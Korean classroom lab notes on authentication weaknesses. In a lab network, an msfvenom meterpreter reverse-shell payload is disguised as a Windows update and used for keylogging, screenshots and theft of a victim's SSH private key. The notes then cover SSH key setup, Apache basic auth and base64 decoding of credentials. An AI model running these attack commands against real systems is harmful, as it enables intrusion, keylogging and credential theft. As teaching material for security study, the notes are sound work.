DAY25
DAY25

패스워드 방식의 취약성


msfconsole -r /home/kali/malware.rc
침투 흔적

메일로 받은 흔적도 추적	해커 >
또는 웹으로 흔적을 만들고 추적 웹사이트 < 관리자
서버 

언제 침투가 되었는지?

웹으로 바로 접속하면 추적할 수 없음(특별한 이벤트 없음)
관리자 pc에 유니버설 포워드 또는 윈 비트를 깔고 분석을 해야한다.
splunk enterprise = elasticsearch

wonlogbeat : 지정된 서버로 패킷을 보내 추적


해커에게 노출된 암호는 안전한가?
> 키로거 작동 
> 화면 스크린샷 


kali
~/public_html
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b "\x00" -f exe -o /home/kali/windows_update_20250121001.exe (악성코드 생성)

msfconsole -r malware.rc (대기)

피해자가 악성코드 파일 실행

netstat -ant (연결 확인)


피해자 확인 방법
cmd
netstat -ant | find "192.168.56.101" (포트 4444 확인)


hacker
keyscan_start
keyscan_dump
admin/123456 확인
(임시저장된 아이디를 누르면 직접 치지 않는한 확인되지 않음)

screenshot
to: /home/kali/vQQwssis.jpeg

download
ls
(현재 경로 C:\Users\manager\Desktop 확인)
show_mount (드라이브 보기)
cd Z:\ (Z폴더로 이동)
ls
download (파일이름)
(completed : 파일 -> /home/kali/파일(저장 경로확인))


Bootstrap Example

키 인증방식의 특징과 취약점


주기적으로 변경하는게 안전한 것인가?
키로그로 보면 바꿔도 다시 알 수 있다.
안전하지 않다면 어떠한 조치를 취해야 하는가?
*키인증방식
key : 암호화


키 생성
서버가 아닌 putty에서 설정

미션
192.168.0.92로 본인의 계정을 이용하여 접속하라!
www서버 nat로 연결
xshell
ssh 192.168.0.214
1. 패스워드 대신 키인증 방식으로 바꿔보자
키 생성하기
cd /etc/ssh/sshd_config.d
nano 50-cloud-init.conf
passwordauthentication no

#PublickeyAuthentication yes
#PasswordAuthentication no
#KbdInteractiveAuthentication no
#AuthorizedKeysFile .ssh/authorized_keys

서버설정
ssh-keygen(master)
enter/123456/123456
ls (key생성 확인)

cd /home/master/.ssh
cat authorized_keys (비어있음)
cat  id_ed25519.pub >> authorized_keys
sz id_ed25519 (저장)

\102 공유 폴더에서 개인키 가져오기
#scp master@192.168.0.213:/home/master/.ssh/id_ed25519 ~/.ssh (공유폴더 없을 경우)
ssh master@192.168.0.213

[공개키][개인키]
왼쪽:서버
오른쪽:클라이언트

cmd
ftp 192.168.56.102 (master/123456)
cd .ssh
get id_ed25519
bye

(경로 c:user/manager/)


putty로 개인키 만들기
keygen > conversions > import key > save private key
(!!!권한 777준 상태에서 가져와야 사용가능!!!)

putty >connection >ssh
master
> auth > cridential > private key file browse...
ip 연결

  


  Bootstrap Example
  
  
  
  



미션: 키인증 취약점 이해하기


바탕화면에 저장된 서버의 개인키를 유출하라!
로그와 패킷을 통해 유출된 흔적을 찾아라
유출한 키로 서버에 접속 가능한지 확인하라

hacker
search -f id_ed25519

download 
경로:\Users\manager\Desktop\putty\id_ed25519 
show_mount (드라이브 보기)
cd C:\ (C폴더로 이동)
ls
download -f pkey.ppk

su
apt -y install putty-tools
puttygen pkey.ppk -O private-openssh -o pkey.pem
chmod 600 pkey.pem
ssh -i pkey.pem master@192.168.56.102


Bootstrap Example

인증 방식


비밀번호도 인증키도 안쓰고 싶으면?

# Kerberos 

edit+
header.php

nano /etc/apache2/sites-available/auth-basic.conf

  AuthType Basic
  AuthName "Basic"
  AuthUserFile /etc/apache2/.htpasswd
  require valid-user

systemctl restart apache2

st.kr/auth-basic

cd /var/www/html
mkdir auth-basic
cd auth-basic/
touch index.html

htpasswd -Bc /etc/apache2/.htpasswd master

systemctl reload apache2
a2ensite auth-basic

교재 325페이지
kali > st.kr/auth-basic (인증틀림)

elasticsearch
401 unauth...확인가능

------------------------------
인증이란?
웹 기본 인증 : 매우 취약함
패킷 잡아 인코딩 확인

wireshark에서 찾아낸 auth-basic 패킷을 살펴보면
인증 취약점 발견 : 디코딩만 하면 암호 발견할 수 있음!!

디코딩 하기
import base64
import json
data = {"username":"master","password":"123456"}
json_data = json.dump(data)
encoded_json = base64.b64encode(json_data.encode('utf-8'))
print("Encode JSON:",encoded_json.decode('utf-8'))

import base64
import json
data = {"username":"master","password":"123456"}
json_data = json.dumps(data)
encoded_json = base64.b64encode(json_data.encode('utf-8'))
print("Encode JSON:",encoded_json.decode('utf-8'))
decoded_json = base64.b64decode(encoded_json).decode('utf-8')
decoded_data = json.loads(decoded_json)
print("Decoded JSON:",decoded_data)

=> Encode JSON: eyJ1c2VybmFtZSI6ICJtYXN0ZXIiLCAicGFzc3dvcmQiOiAiMTIzNDU2In0=
Decoded JSON: {'username': 'master', 'password': '123456'}


인증 프레임워크
방식 적용
패스워드 > 키 인증 방식 >
웹기반 인증 > 취약함 (옛날 공유기나 카메라에 사용)
PAM 모듈 인증
HTTPS 구축
apt install openssl

SSL 설치(자체 ssl 설치)

설치방법1
설치방법2
let's encrypt (외부 연결 필요)

윈도우 2025 서버 

LDAP 인증
커버로스 인증 ( sshd 설정 변경 가능함)